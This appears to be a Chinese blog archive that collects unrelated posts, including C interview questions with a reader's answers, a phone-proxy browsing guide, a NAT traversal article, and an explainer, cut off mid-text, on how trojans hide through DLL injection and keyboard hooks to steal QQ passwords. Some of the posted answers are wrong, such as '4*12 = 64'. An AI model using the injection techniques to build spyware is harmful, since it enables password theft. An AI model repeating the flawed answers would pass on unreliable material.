  邹宗凤女士告诉记者,真正由国家批准生产的植物蛋白饮料,特别是某些获得了国家免检和中国名牌等认证的产品,其生产工艺非常严格。从原料采购、工厂设施、卫生管理到加工工艺、成品贮藏和运输条件等都有一整套规范而完善的要求,并且产品在投放市场前还要经过多项相关检测,确保了产品质量和消费安全。

 

  更重要的是,企业化生产的植物蛋白饮料由于采用了先进的生产设备和严格的生产工艺,不仅保证了植物蛋白饮料的营养成分及良好口感,而且在生产过程中不会产生类似自制豆浆中的泡沫,所以绝对不会添加任何消泡剂,彻底杜绝了消泡剂这一普遍存在于自制豆浆中的毒瘤对消费者的潜在危害。

 

  邹宗凤女士表示,随着人们健康意识的提高和有关部门对自制豆浆打击力度的加大,企业化生产并通过QS认证的植物蛋白饮料取代作坊式自制豆浆将是一个必然的趋势。

 

  自制豆浆亟待监管

 

  正规的饮品生产车间

 

  国家质检总局近期发文,要求各地切实加大对食品生产加工企业原料的质量安全监管。

 

  针对作坊式自制豆浆的种种问题,成都市有关部门负责人在接受记者采访时说,自制豆类饮品基本上出自各大酒楼、火锅店,虽然国家对此类饮品的生产工艺和检测在技术层面上有严格标准,但就生产源头而言,特别是滥用消泡剂等违规行为,还缺乏相应的法律法规及管理条例。绝大多数餐馆酒楼也正是瞄准了这一政策软肋,堂而皇之打起了自制豆质饮品的擦边球。虽然有关监管工作正在逐步加强,但这些自制饮品的生产作坊随意性大且范围广,有关部门的监督和查处难度仍然很大。

 

  苏丹红、吊白块、工业消泡剂等非食用原料和添加剂在食品中的滥用,目前已经引起了有关方面的高度关注。国家质检总局近期专门发文,要求各地切实加大食品生产加工企业原料的质量安全监管,严厉惩处使用非食品原料生产加工食品的违法犯罪行为,确保食品安全。对此,有关专家指出,目前餐馆、酒楼中这种自制豆浆似的小作坊模式隐蔽性强、危害极大。有关部门一方面要引导消费者树立正确的健康消费观念,自觉抵制自制豆浆;另外,应加大监管力度和政策引导,通过各级执法部门的联合行动,重拳出击,杜绝工业消泡剂等非食用原料的滥用,使自制豆浆走上健康轨道。

冷暖自知

----最近不知道怎么了,特别爱吃冰糕,奶油味儿的。
 
本来把大部分钱都寄给老妈了。可惜实在坚持不了了,昨天身上只有¥1。5了。发短信让老妈汇回了¥100.我想应该能坚持到发薪水的日子。
 
有钱了~~^_^  大吃了一顿拉面=。=  回家的路上又吃了3个冰糕。边吃边想,我和“血色浪漫”里的袁军差不多了,一阵偷笑。回家的路上又CALL了2桶水,(已经断水2天了~)
 
 
 
 
5/1/2007

零下一度

     天津这里总算开始变的冷了一些,今天的最高气温才零下一度,最高气温零下十度.几天前的积雪还没化净.公司挨着河,水气重,所以早晨经常会有很大的雾.八九点钟,雾气散尽,树上的枝条都披了一层白,没记错的话,好象是叫雾凇.很漂亮.
     最近出现经济赤字,并不是我乱花钱了.我是把钱汇给老妈了,=.=|||我是好孩子~
     前几天元旦,没有休息,和同事倒休了.今年过年要是加班我可不倒了,回家陪陪老妈,现在上班了,一年21天假,来回6天,也就剩15天了.老妈也就过年休息.
     听说全公司要加薪,不知道还加不加,吼吼!~加了就爽了.
     最近QQ不上,MSN不上,网也没怎么上.TS没上,游戏没上,论坛也没上.
     暖暖蒸发了.一点消息都没有了,QQ不在线,MSN不在线,空间好象也关了,旧电话打不通,新电话也不通......
     问了老大,问了可乐...好象也是不清楚.传来小道消息说在深圳?!?在经商?!?......
     这几天感觉特别缺觉,该补补觉了=.= 睡吧.睡吧,睡着了就不饿了~
PS:最近公司板楼的网络真烂啊!~越来越慢-
 
12/12/2006

土的掉渣儿!~~

直到中午吃完饭,走到电梯,才发现今天是圣诞节啊!---看到了圣诞树.
=.=|||没女朋友,这个也不记得了.  同事建华貌似半个月前就在准备给女朋友买衣服了.
 
PS:今天看见2个韩国人,挖卡卡.以前都是看的韩剧,今天听到他们说韩语,好有意思啊!~~~
=.=|||  看来我真成老土了   呵呵
6/11/2006

几道C语言面试题(华为)

1.找错
Void test1()
{
  char string[10];
  char* str1="0123456789";
strcpy(string, str1);
}


Void test2()
{
  char string[10], str1[10];
for(I=0; I<10;I++)
{
    str1[i] ='a';
}
strcpy(string, str1);
}

Void test3(char* str1)
{
  char string[10];
  if(strlen(str1)<=10)
{
  strcpy(string, str1);
}
}


2.  找错
#define MAX_SRM 256

DSN get_SRM_no()
{
    static int SRM_no;
    int I;
    for(I=0;I{
SRM_no %= MAX_SRM;
if(MY_SRM.state==IDLE)
{
  break;
}
}
if(I>=MAX_SRM)
return (NULL_SRM);
else
return SRM_no;
}


3.  写出程序运行结果

int sum(int a)
{
    auto int c=0;
    static int b=3;
c+=1;
b+=2;
return(a+b+C);
}
  
void main()
{
    int I;
int a=2;
for(I=0;I<5;I++)
{
  printf("%d,", sum(a));
}
}

4.  

int func(int a)
{
  int b;
  switch(a)
  {
    case 1: 30;
    case 2: 20;
    case 3: 16;
    default: 0
}
return b;
}
则func(1)=?

5:
int a[3];
a[0]=0; a[1]=1; a[2]=2;
int *p, *q;
p=a;
q=&a[2];
则a[q-p]=?

6.
定义 int **a[3][4], 则变量占有的内存空间为:_____

7.
编写一个函数,要求输入年月日时分秒,输出该年月日时分秒的下一秒。如输入2004年12月31日23时59分59秒,则输出2005年1月1日0时0分0秒。

http://www.spicy-girl.net/forum/thread_show.asp?forum_id=c124a10e0db5e4b9&thread_id=85aab05244a4fb8f&page_pos=1

参考答案:几道C语言面试题(华为)

 题目如下
http://blog.itpub.net/post/670/22687

转自:ledon@spicy-girl


小弟做了一下,请大家指正有没有错。
1。找错
void test1()
{
char string[10]; //string的长度应该设为11,要给''留出位置
char* str1="0123456789";
strcpy( string, str1);
}

void test1()
{
char string[10], str1[10];
for(I=0; I<10; I++ ) //变量I没定义,增加int I;
//I不能取到9,同上一题一样要给''留出位置
//应该改成for(I=0; I<9; I++)
{
str1[i] = 'a'; //变量i没定义,改为str1[I] = 'a';
}
//此处要加上结尾标识 str1[i]='';
strcpy(string, str1);
}

void test3(char* str1)
{
char string[10];
if( strlen(str1) <= 10 ) //同样的问题,str1的长度不能超过9;改为
// if( strlen(str1) < 10 )
{
strcpy(string, str1);
}
}


2。
#define MAX_SRM 256

DSN get_SRM_no()
{
static int SRM_no; //静态变量没有初始化
int I;

for(I=0; I { //此处不知所云
SRM_no %= MAX_SRM;
if( MY_SRM.state == IDLE ) //MY_SRM IDLE未定义
{
break;
}
}
if( I>=MAX_SRM)
return NULL_SRM; //NULL_SRM未定义
else
return SRM_no;
}

3。
8,10,12,14,16

4.
题目有错吧? 是不是应该改成这样:
int func( int a )
{
int b;
switch( a )
{
case 1: b=30;
case 2: b=20;
case 3: b=16;
default: b=0;
}
return b;
}

如果是这样func(1) = 0;


5.
   2

6.
sizeof(int) *12 = 4*12 = 64 (byte)

7.
应该是考取模运算的,没什么技巧。 代码略

[转]如何用CNWAP包月+手提电脑+E680移动上网

首先感谢cmkdd的贴子,针对还有很多E友无法实现用CNWAP包月+手提电脑+E680移动上网,经过5.1假期的多次实验,终于成功。可用软件:IE6.0、Opera、Kmeleon等。
  Opera下载地址:
http://nj.onlinedown.net/soft/2702.htm
  kmeleon下载地址: http://www.superdown.com/soft/9629.htm

  该方法具备通用性,其中E680可以替换为大多数支持GPRS的手机。

具体方法如下:

一,使用opera和kmeleon的设置

  1. 首先在电脑装好E680的小猫的驱动程序。
    并在电脑上装好GPRS管理器(MOTO自带的软件),在进入连接设置时,注意:在提示输入此连接的APN时输入cmwap,其他它选项不用修改,点下一步直到完成。
  2. 安装浏览器
    A:对于kmeleon:
      打开kmeleon进入菜单:tools-->useragent-->custom……,随便填上一个用户名,并去掉reset to default on exit前的勾。
      然后需要进入菜单edit再进入preference在弹出的对话框中点选左边的Proxy,然后在右边选中Manual Proxy Settings,再在下面的HTTP、FTP、SSL、Gopher和SOCKS五个地址栏中输入10.0.0.172,后面的端口中全填80,代理服务器设置完毕。
      打开GPRS管理器,拨号上网吧
    B:对于opera:
      安装好opera后进入菜单:工具-->首选项-->高级,在下部的浏览器识别项中选:"识别为MEIE6.0".然后在左侧的选项中点选"网络"->代理服务器,复选HTTP,HTTPS,FTP,Gopher,WAIS并在地址栏中输入10.0.0.172 端口:80,好了 打开GPRS管理器,拨号上网吧。

二,在使用IE6.0时设置较为麻烦一些具体步骤如下

  1. 首先在电脑装好E680的小猫的驱动程序,并在电脑上装好GPRS管理器(MOTO自带的软件),在进入连接设置时,注意:在提示输入此连接的APN时输入cmwap,其他它选项不用修改,点下一步直到完成。
  2. 修改电脑的注册表
    A:打开开始菜单->运行,输入regedit打开注册表编辑器
    B:在注册表中找到以下项:HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionInternet Settings5.0
    C:在5.0中新建项User Agent,然后在新建的User Agent项中分别以Compatible、Platform、Version为名称新建三个字符串值
    D:修改这三个字符串及原来的默认字符(双击字符串值即可)串值为任意字符串,如aad,ffg,gft等
    E:关掉注册表编辑器
  3. 修改电脑的IE 浏览器
    A:打开你的IE浏览器,点选:工具->internet选项->连接,在"拨号和虚拟专用网络设置"一栏中找到"GPRS Managed Connection"并点选.再点选"设置"
    B:在复选栏中选择"对此连接使用代理服务器(这些设置不会应用到其它连接)"
    C:选高级选项
    D:复选"对所有协议使用相同的代理服务器"
    E:在地址栏中输入10.0.0.172,后面的端口中填80
    F:OK ,点确定,上网玩去吧。

  浏览速度显示为115kbps,自我感觉比56k的小猫稍快。

  记住移动的GPRS的包年费用为1800元一年(江苏的)每月可要150元哦,今天我去问过速度为40kbps左右,和我们的速度应该一样.我现在就是用CNWAP包月+手提电脑+E680移动上网到处转游,哈哈好爽啊。

  关于QQ:在“菜单”-->系统设置-->代理设置中选择‘http代理服务器’在服务器选项中填10.0.0.172、端口填:80即可。

  建议:新手先要将小E的网络设置中的cmnet删除(仅留cmwap),以免付出不必要的代价。最好再将CSD也关掉。方法:打开小E的:网络-->点击移动梦网-->在右下角选择编辑-->将CSD设置中的拨号,密码,用户名删除即可。

手机+电脑上网的几种方式汇总

  鉴于新手太多,在这里我再说明一下用手机+电脑上网的几种方式,大致可以分为三种:cmwap、cmnet、csd。

  1. cmwap以数据流量计费,速度为40kbps,资费标准为0.03元/KB,有的地方有20元的包月套餐,只能上WAP网站,可看东西太少。如果用上面的方式上网就可以上www网站了。我今天一个晚上的数据流量就有15MB了。
  2. cmnet以数据流量计费,速度为40kbps,资费标准为0.03元/KB,有套餐为:200元500M,超过的收0.01元/KB也就是10元/MB,可以上www和wap网站,太贵,不予考虑。
  3. csd以时间计算收费方式,但速度较慢,不必考虑,资费标准为0.15元/分钟。

  cmwap、cmnet都是gprs模式上网的。csd方式是拨号上网模式,在未开通GPRS的地方用此方法。

[转]私网穿越技术在软交换体系中的应用

私网穿越技术在软交换体系中的应用(详解)

 
一、引言

  下一代网络(Next Generation Network,NGN)是一种基于分组交换技术的通信网络,在整体构架、信令控制、承载网络等方面都与现有的电路交换网络存在很大不同。软交换技术作为一种在分组网内实现通信话路交换与媒体传输的技术,将是NGN网络的核心技术。由于软交换技术本身就是基于IP分组网的,因此在现有的基础数据网上,完全可以建立起一套软交换的构架。带来的好处有:现有的许多基于IP的协议可以被继续利用,大量的网络设备和终端设备都可以直接被应用到软交换网络中。虽然在现有数据网的基础上构建软交换网络具有上述的优点,但也存在许多问题,其中私网穿越就是一个需要解决的问题。

二、在软交换体系中面临的私网穿越问题

  1. 私网的概念与NAPT技术的产生

  随着基于TCP/IP的互联网的普及,私有网络(简称私网)的数量和规模也越来越大。私网,就是采用私有的IP地址来连接各个网络设备组成的相对独立和封闭的网络。这种组网方式在组建各种规模局域网时被大量应用。可以说,在当今的网络世界里,使用私网IP地址的网络设备的数量,要远远大于拥有合法Internet网IP地址的设备数量。为了能够让这些设备可以访问私网外部的资源,NAT(网络地址转换)技术也就应运而生。私网内部设备试图访问外部网络时NAT技术可以将其私有的IP地址转换成合法的IP地址。在运用NAT的同时,一般还会运用动态的端口转换(PAT)技术,以解决合法IP地址紧缺的问题。这种技术实现方法是,对于一个私网中的所有设备,共用一个或多个合法的IP地址作为出口地址,只有在设备请求连接外部网络时,才为这个请求分配一个合法IP地址和一个端口号,来进行外部连接;当这个请求结束时,端口号和IP地址也就随即被收回。NAT与PAT经常被同时使用,称为网络地址端口转换(NAPT)。NAPT的运用,为IP网络带来了很多好处:如缓解了IPv4构架下Internet网络的IP地址紧张问题,提高了私有网络内部的安全性和可管理性。由于具有这些优点,NAPT被大量运用到各种私网网关设备上,它是绝大多数网络路由器设备的一个基本功能,也是网络防火墙功能的重要组成部分。





  2. NAPT影响软交换的问题

  (1)NAT问题

  现在假设我们具有一个如图1所示的软交换网络,在这个网络中,终端A与终端B在私网内,只有私网IP地址,而终端C具有独立的合法IP地址。为了便于描述,假设所有终端都是SIP终端,软交换与终端间的通讯也采用标准的SIP协议。若终端A向终端B发起呼叫请求,则会产生一个如图2所示的消息包,这个消息包在经过路由器的NAPT后,变成图3所示的消息包(其中1050为NAPT动态分配的端口号)。





  由于终端B在向软交换注册时,通过SIP协议层的注册消息告诉软交换的是它的私有地址,并且在终端B没有主动对外发起连接请求时,防火墙不会为其分配可被访问的IP地址和端口号,因此软交换根本无法将INVITE消息发送给终端B,呼叫无法接续。

  (2)PAT问题

  假设由终端A向终端C发起呼叫,由于终端C上面没有防火墙或路由器,软交换可以顺利地把INVITE消息包转发到终端C,这个消息中携带SDP信息,用于终端间的媒体协商。媒体协商的主要目的就是选择合适的编解码器,并建立RTP媒体流的连接。由终端A发送的INVITE消息中携带的SDP信息内容如图4所示(其中10006是终端A建立RTP连接的端口号)。




图4 INVITE消息中的SDP信息


  终端C收到SDP信息后,就会试图与192.168.0.3:10006建立RTP连接,很明显这是一个私网内部的地址,因此通话也自然无法建立起来。

  从以上分析可以看出,NAPT影响到软交换通信的主要有两方面:一方面,私网内设备都采用内部IP地址,虽然经过NAPT可以将IP层的地址转换为外部地址,但是对于更上面的应用层消息中的私有IP地址却无能为力,称作NAT问题。另一方面,私网设备只是在向外部主动发起连接时,才会被分配到合法IP和端口号。若不做特殊处理,设备对外部网络来说是不可见的,也无法接受软交换发来的呼叫请求,这个可以称作PAT问题。基于SIP协议的问题如此,当软交换与终端间使用其它协议如H.323,MGCP或H.248协议时,类似的问题也同样存在。

三、一种私网穿越问题的解决方法

  1. 解决NAPT穿越问题的各种方法

  (1)NAT/ALG方法

  此方法通过在防火墙或路由器上,增加对VoIP相关的应用层协议的识别和处理能力,来实现私网穿越。这种方案比较直观,但是最大缺点就是对于用户来说,必须更换或升级他们的路由器或防火墙,并且随着相关协议的发展和扩充,设备也必须跟着进行升级。

  (2)为私网设备设置代理的方法

  这种方法不用对用户设备做任何改动,仅在运营软交换网络的局端增加一种特殊的Proxy设备,就可以实现私网的穿越。笔者认为,这种技术与前面的技术相比,具有更大的优越性。这种Proxy,在进行信令的代理和转换的同时,也进行媒体流的代理,我们暂且称其为NAT/FW Proxy。

  (3)其它的一些方案

  其它穿越私网的方案,还有MIDCOM 方案、STUN方案、TURN方案等,这些方案与NAT/ALG方案类似,不是需要升级路由器、防火墙,就是需要升级终端设备。

  2. 用NAT/FW Proxy解决私网PAT问题

  以图1为例,将NAT/FW Proxy设备添加到软交换网络中,形成的如图5所示的网络结构。添加了NAT/FW Proxy设备以后,所有私网网关(路由器或防火墙)后面的终端设备,都要将注册地址从软交换设备地址更改为NAT/FW Proxy设备的IP地址。而NAT/FW Proxy设备与软交换设备之间的交互可以采用SIP,MGCP或者H.248等协议,这与其代理的设备类型有关。

  一方面,在设备向NAT/FW Proxy发出注册信息后,NAT/FW Proxy会为设备分配一个代理信令端口,然后用NAT/FW Proxy的地址替换原注册信息中的终端地址(Contact域),并通过这个端口向软交换发送。这样,今后无论是终端发向软交换的信令消息,还是软交换发向终端的信令消息,都会经过NAT/FW Proxy,以便于其对这些信令进行特殊处理。另一方面,当私网中的终端设备向NAT/FW Proxy设备发出注册消息时,安装在私网外层的私网网关就会给这个连接随机分配一个合法IP地址与端口号,形成一个“窗口”。NAT/FW PROXY设备收到注册消息后,只要能够设法保持这个“窗口”一直开放,然后把这个端口号与在设备上分配的代理端口号绑定,就相当于建立了一条设备到软交换之间透明的信令通道,也就解决了NAPT中的PAT问题。

  保持这个“窗口”的方法,根据终端的不同也会有所区别。比如对于SIP终端,可以设置一个较小的注册有效期,这样终端设备就会不断的向NAT/FW Proxy发出注册消息。对于MGCP终端,可以让NAT/FW Proxy向其不断发送AUEP消息,然后由终端发相应消息来保持“窗口”的开放。无论哪种方式,都要保证终端发送消息的时间间隔要小于“窗口”的开放时限。

  3. 用NAT/FW Proxy解决私网NAT问题

  假设所有终端都是SIP终端,软交换与终端间的通讯也采用标准的SIP协议。如图5中的配置,由于终端A和终端B都是私网中的设备,因此在向NAT/FW Proxy注册时在私网设备中被分配了访问外部的端口号,假设分别为123.44.55.11:1050(终端A)和123.44.55.22:1060(终端B),同时在NAT/FW Proxy上都被分配了代理信令端口,假设分别为123.44.55.77:1001(终端A)和123.44.55.77:1002(终端B)。现在由A向B发起呼叫,INVITE消息通过私网网关后到达NAT/FW PROXY,NAT/FW PROXY会将这条信令进行代理转换,并发给软交换。如图6、图7所示:




 



  软交换在收到INVITE消息并做相应处理后,准备将其转发给B,由于B也是通过NAT/FW Proxy代理注册到软交换的,因此发送的消息如图8所示,由NAT/FW PROXY接收并做代理转换后,发送给B外层的路由器或防火墙,转换结果如图9所示。






  防火墙通过查询自己维护的连接列表,就可以把这条信令消息正确的发送给终端B了。呼叫接续流程的其它信令消息,转接方式与INVITE类似。

  4. 用NAT/FW Proxy实现媒体流的代理连接

  以图5中终端A呼叫终端C为例,当A发出INVITE消息并到达NAT/FW Proxy后,NAT/FW Proxy会为A分配两个RTP代理端口,一个是呼出代理端口,记为A1,另一个是呼入代理端口,记为A2。NAT/FW Proxy使用A2的端口信息替换原INVITE消息中SDP包中对RTP端口的描述,并发给软交换。当软交换发回终端C的SDP信息时,NAT/FW Proxy记录终端C的实际RTP端口,并用A1的端口信息进行替换,发给终端A。当呼叫建立后,终端A一旦开始发送RTP包,就会在私网设备上建立一个临时的RTP“窗口”,只要媒体流不断在发送(在没有话音时终端也应该发送舒适噪声的RTP包),这个“窗口”就一直打开。由于设备A得到的对端RTP端口实际是NAT/FW Proxy上的呼出代理端口A1,因此RTP包会发向NAT/FW Proxy,NAT/FW Proxy将RTP包再发给终端C真正的RTP端口。同样,终端C得到的A的RTP端口实际是NAT/FW Proxy上的代理端口A2,所以RTP包会发向A2,然后由NAT/FW Proxy通过私网设备上的临时RTP“窗口”将RTP包转发给终端A。

  当两个设备分别在两个防火墙内,且都注册到一个NAT/FW Proxy上时,如图5中终端A呼叫终端B的情况,由于NAT/FW Proxy可以知道两个设备都是注册在自己上面的,因此并不需要为每个终端都分配两个代理端口,而只用分配一对端口。如A1和B1,其中A1既作为终端A的呼出端口,也做为终端B的呼入端口,而B1既做为终端B的呼出端口,也做为终端A的呼入端口。如果终端A和终端B还是处于同一个私网网关设备之下,NAT/FW Proxy完全可以不为它们分配任何代理端口,而是让它们在私网内部直接建立RTP流的连接。

  5. 其它问题的考虑

  以上对于使用NAT/FW Proxy来实现私网穿越的方法的描述,都是基于使用SIP协议的终端,但实际上这种方法并不仅限于SIP终端,当终端使用H.248,MGCP等协议时,只要有对应的NAT/FW Proxy支持,也同样可以实现私网穿越。

  从构架上看,需要进行私网穿越代理的设备非常多,一台NAT/FW Proxy无法处理时,完全可以部署多个NAT/FW Proxy,并让这些设备注册到不同的NAT/FW Proxy上。如配置一台NAT/FW Proxy处理SIP终端的私网穿越,配置两台NAT/FW Proxy来处理MGCP终端的私网穿越等。

四、在软交换体系中的扩展应用

  使用NAT/FW Proxy的构架,除了能够实现私网穿越的功能外,只要稍加扩展,还可以为软交换体系带来其他一些意外收获。

  1.可以保护软交换设备免遭攻击

  在正常的配置情况下,软交换设备的地址对于所有用户都是可见的,这时如果有人恶意的对软交换发起某些攻击,比如DoS攻击,是比较难以防范的。但是如果要求所有终端都注册到NAT/FW Proxy设备上,通过NAT/FW Proxy的代理与软交换发生联系,那么软交换地址对外就完全是不可见的了,并且由于NAT/FW Proxy设备的成本相对低廉,可以配置多个,即使遭到攻击,只要让终端上更换一个NAT/FW Proxy进行注册就可以了。

  2.防止通信欺诈行为

  一般情况下,一旦软交换为双方建立起呼叫,那么双方终端的地址、端口、媒体能力等就完全向对方透明化了,这时如果有人使用一些支持点对点连接的终端,绕过软交换而直接向对方发起连接,则软交换就无法进行计费,也就会出现通信欺诈行为了。如果按照1中所述,把所有终端都注册到NAT/FW Proxy上,那么终端只能通过NAT/FW Proxy上的代理端口进行交互,终端之间透明的只有对方的号码,这样可以在很大程度上避免欺诈行为的发生。

  3.可以使媒体流授控

  假设所有终端都注册在NAT/FW Proxy上,则终端之间的媒体流也都要经过NAT/FW Proxy进行转接,如果增强NAT/FW Proxy的功能,就完全有可能解决在软交换体系中媒体流不授控的问题,如可以实现按流量计费,可以控制用户带宽防止未授权的媒体流连接(比如视频媒体流),可以获得媒体流的QoS信息,甚至可以满足国家安全部门对敏感通话监听的要求。

  但是,要实现如上的这些好处,也是要付出代价的,那就是整个软交换网络的媒体流都要汇聚到各个NAT/FW Proxy所在的位置,大大增加了这部分网络的负担,同时在一定程度上也减弱了软交换由于控制与承载分离而带来的许多灵活性。

五、结束语

  本文介绍了一种通过设置特殊的代理服务器,来解决软交换网络中私网穿越问题的方法,现在这种方法已经开始被应用。相信随着软交换网络的规模不断扩大,这种私网穿越的方法会被越来越多的应用到软交换网络当中去
5/11/2006

ERP软件厂商薪资情况披露(转)

网上弄来的,也不知道消息可靠不可靠,但大体上应该是差不多的,给大家找工作做个参考。有什么不对的地方请大家指正。(仅供参考)

 

用友:
经验丰富的开发人员,属于U8事业部的,硕士,有三个项目经验的J2EE开发程序员6500-7000,季度完有奖金分红. 总部U8和NC事业部的做过两到三个ERP项目的,工资在六千左右,出差补助每天60.各地的分公司则 待遇较低 经验丰富的售前人员,能够打项目的年薪在10多万.


金蝶:
主要是北京这边.
ERP开发人员(J2EE),项目经验比较丰富的工资在八千左右,年终有分红和提成.实施人员好的能拿六千左右,差的四千,比用友的待遇略微差.


scala:
虽然是外企,但近年来市场力度较差,项目也较少.工资水平一般的顾问工资在五千左右,高级顾问在八千左右.


SAP:
初级顾问基本工资在八千左右,顾问在一万二三左右,高级的都在两万以上.



汉普:
在国内顾问公司待遇是最高的,顾问基本工资在5000左右,高级顾问在八千左右,专家顾问一般为两万以上.[这就叫最高了?]


博通:
西安的一家ERP实施公司,去年刚进行了大的调整.售前人员一般基本工资在六千左右,比较厉害的顾问工资在八千左右.但业绩一直不太好.


毕博:
基本上是外企顾问公司中待遇最低的.SAP和ORACLE实施顾问中级的一般在八千左右,高级的在一万左右,比汉普的待遇要差一个等级.


艾森哲:
顾问待遇巨高.最低的基本工资也在八千以上,据说有赚三四万的顾问.


柯莱特
一家以给艾森哲实施SAP外包的公司,有证的SAP顾问基本工资在一万四五左右


神州数码;
工资差距极大.刚应聘的顾问估计也就两千左右,如果销售可能在一千五六,但如果进入到SAP实施队伍中,并能当个项目经理的话,一年赚十几万还是很EASY的.


新中大
纯淬是玷污顾问这个行业,顾问顶多也就两三千吧,搞销售(初级)的基本工资大概在一千五六. [所以越做越小,没有竞争力的工资自然也吸引不到有竞争力的人才]


浪潮
基本跟新中大一个档次的,强不了多少


IBM咨询部
进去就能于进了养老院,工资高且稳定,一般顾问的工资在八千以上,福利极好,干够五年买房子公
司会给20%的补助.


北京二十一世纪科技
一家虽然没有什么单子,但急切渴望进入这个领域的ERP实施公司,目前在中华网上招聘顾问和销售总监,项目经理给的待遇大概是四千(试用期以后),总监不详,招了一年多了,还没有招到.对了,一般的顾问可能也就三千一大关.


北京华深慧点
虽然知名度差了点,但待遇还算一般靠上点.顾问水平的能到六千多.项目经理的基本工资在八千左右.


东软
东北的企业待遇也好不到哪里去,近年来业绩下滑的厉害.SAP和ORACLE实施都做,但好象没什么项目.高级顾问在六千左右,初级的三四千.


IFS
去年国内ERP市场做的不错的一家公司,高级顾问包括补助能拿到一万七八,一般的一万左右吧.基
本工资一般在5000-8000之间,跟用友的合资的公司待遇也基本上差不多.


ssa/intentia
待遇还算不错,不过项目不多


qad
八千到一万五之间.


oracle
顾问咨询部高级顾问基本公司一般在一万二三左右,顾问6000-8000左右.加上各种补助和项目津贴能在一万到两万之间.


盈科
中移动的项目做的一直都很爽.待遇不错.


南北科技
在国内ERP行业待遇属于中等吧.


英克
做医药行业的ERP公司,本人曾应聘过的公司,当时硕士刚毕业,给的基本公司是四千.


锐步
做服装行业的ERP公司,待遇也还凑合,比金蝶差一个级别.


北京博奇
做电力行业EAM的一家公司,也做ORACLE财务和人力资源的实施,咨询顾问的待遇在六千到七千之间.


汉思
在钢铁行业实施SAP,待遇和以前的汉普差不多,能进去也是一个极爽的地方.


高维信诚
号称是国内SAP实施最大的一家公司,顾问待遇在5000-6000间,高级顾问在八千到一万.还算凑合.

 

PS:又走了2个关心蛮好的同事,希望他们在BJ找到称心得工作。


网络安全知识: 各种木马的隐藏技术全方位大批露

以前,认为只要不随便运行网友发来的文件就不会中病毒或木马,但后来出现了利用漏洞传播的冲击波、震荡波;以前,我曾认为不上小网站就不会中网页木马,但后来包括国内某知名游戏网站在内的多个大网站均在其首页被黑客挂上了木马。从此,我知道:安全,从来没有绝对的。

  虽然没有绝对的安全,但如果能知已知彼,了解木马的隐藏手段,对于木马即使不能百战百胜,也能做到及时发现,使损失最小化。那么,木马究竟是如何躲在我们的系统中的呢?

  最基本的隐藏:不可见窗体+隐藏文件

  木马程序无论如何神秘,但归根究底,仍是Win32平台下的一种程序。Windows下常见的程序有两种:

  1.Win32应用程序(Win32 Application),比如QQ、Office等都属于此行列。

  2.Win32控制台程序(Win32 Console),比如硬盘引导修复程序FixMBR。

  其中,Win32应用程序通常会有应用程序界面,比如系统中自带的“计算器”就有提供各种数字按钮的应用程序界面。木马虽然属于Win32应用程序,但其一般不包含窗体或隐藏了窗体(但也有某些特殊情况,如木马使用者与被害者聊天的窗口),并且将木马文件属性设置为“隐藏”,这就是最基本的隐藏手段,稍有经验的用户只需打开“任务管理器”,并且将“文件夹选项”中的“显示所有文件”勾选即可轻松找出木马(见图1),于是便出现了下面要介绍的“进程隐藏”技术。


  第一代进程隐藏技术:Windows 98的后门

  在Windows 98中,微软提供了一种能将进程注册为服务进程的方法。尽管微软没有公开提供这种方法的技术实现细节(因为Windows的后续版本中没有提供这个机制),但仍有高手发现了这个秘密,这种技术称为RegisterServiceProcess。只要利用此方法,任何程序的进程都能将自己注册为服务进程,而服务进程在Windows 98中的任务管理器中恰巧又是不显示的,所以便被木马程序钻了空子。

  要对付这种隐藏的木马还算简单,只需使用其他第三方进程管理工具即可找到其所在,并且采用此技术进行隐藏的木马在Windows 2000/XP(因为不支持这种隐藏方法)中就得现形!中止该进程后将木马文件删除即可。可是接下来的第二代进程隐藏技术,就没有这么简单对付了。

  第二代进程隐藏技术:进程插入


  在Windows中,每个进程都有自己的私有内存地址空间,当使用指针(一种访问内存的机制)访问内存时,一个进程无法访问另一个进程的内存地址空间,就好比在未经邻居同意的情况下,你无法进入邻居家吃饭一样。比如QQ在内存中存放了一张图片的数据,而MSN则无法通过直接读取内存的方式来获得该图片的数据。这样做同时也保证了程序的稳定性,如果你的进程存在一个错误,改写了一个随机地址上的内存,这个错误不会影响另一个进程使用的内存。

  你知道吗——进程(Process)是什么

  对应用程序来说,进程就像一个大容器。在应用程序被运行后,就相当于将应用程序装进容器里了,你可以往容器里加其他东西(如:应用程序在运行时所需的变量数据、需要引用的DLL文件等),当应用程序被运行两次时,容器里的东西并不会被倒掉,系统会找一个新的进程容器来容纳它。

  一个进程可以包含若干线程(Thread),线程可以帮助应用程序同时做几件事(比如一个线程向磁盘写入文件,另一个则接收用户的按键*作并及时做出反应,互相不干扰),在程序被运行后中,系统首先要做的就是为该程序进程建立一个默认线程,然后程序可以根据需要自行添加或删除相关的线程(见图2 进程关系图)。


  1.进程插入是什么

  独立的地址空间对于编程人员和用户来说都是非常有利的。对于编程人员来说,系统更容易捕获随意的内存读取和写入*作。对于用户来说,*作系统将变得更加健壮,因为一个应用程序无法破坏另一个进程或*作系统的运行。当然,*作系统的这个健壮特性是要付出代价的,因为要编写能够与其他进程进行通信,或者能够对其他进程进行*作的应用程序将要困难得多。但仍有很多种方法可以打破进程的界限,访问另一个进程的地址空间,那就是“进程插入”(Process Injection)。一旦木马的DLL插入了另一个进程的地址空间后,就可以对另一个进程为所欲为,比如下文要介绍的盗QQ密码。

  2.木马是如何盗走QQ密码的

  普通情况下,一个应用程序所接收的键盘、鼠标*作,别的应用程序是无权“过问”的。可盗号木马是怎么偷偷记录下我的密码的呢?木马首先将1个DLL文件插入到QQ的进程中并成为QQ进程中的一个线程,这样该木马DLL就赫然成为了QQ的一部分!然后在用户输入密码时,因为此时木马DLL已经进入QQ进程内部,所以也就能够接收到用户传递给QQ的密码键入了,真是“家贼难防”啊!

  (插入图06zcxtrojan0a.tif)

  3.如何插入进程

  (1)使用注册表插入DLL

  早期的进程插入式木马的伎俩,通过修改注册表中的[HKEY_LOCAL_MACHINESoftwareMicrosoftWindows NTCurrentVersionWindowsAppInit_DLLs]来达到插入进程的目的。缺点是不实时,修改注册表后需要重新启动才能完成进程插入。

  (2)使用挂钩(Hook)插入DLL

  比较高级和隐蔽的方式,通过系统的挂钩机制(即“Hook”,类似于DOS时代的“中断”)来插入进程(一些盗QQ木马、键盘记录木马以Hook方式插入到其他进程中“偷鸡摸狗”),需要调用SetWindowsHookEx函数(也是一个Win32 API函数)。缺点是技术门槛较高,程序调试困难,这种木马的制作者必须具有相当的Win32编程水平。

  你知道吗——什么是API

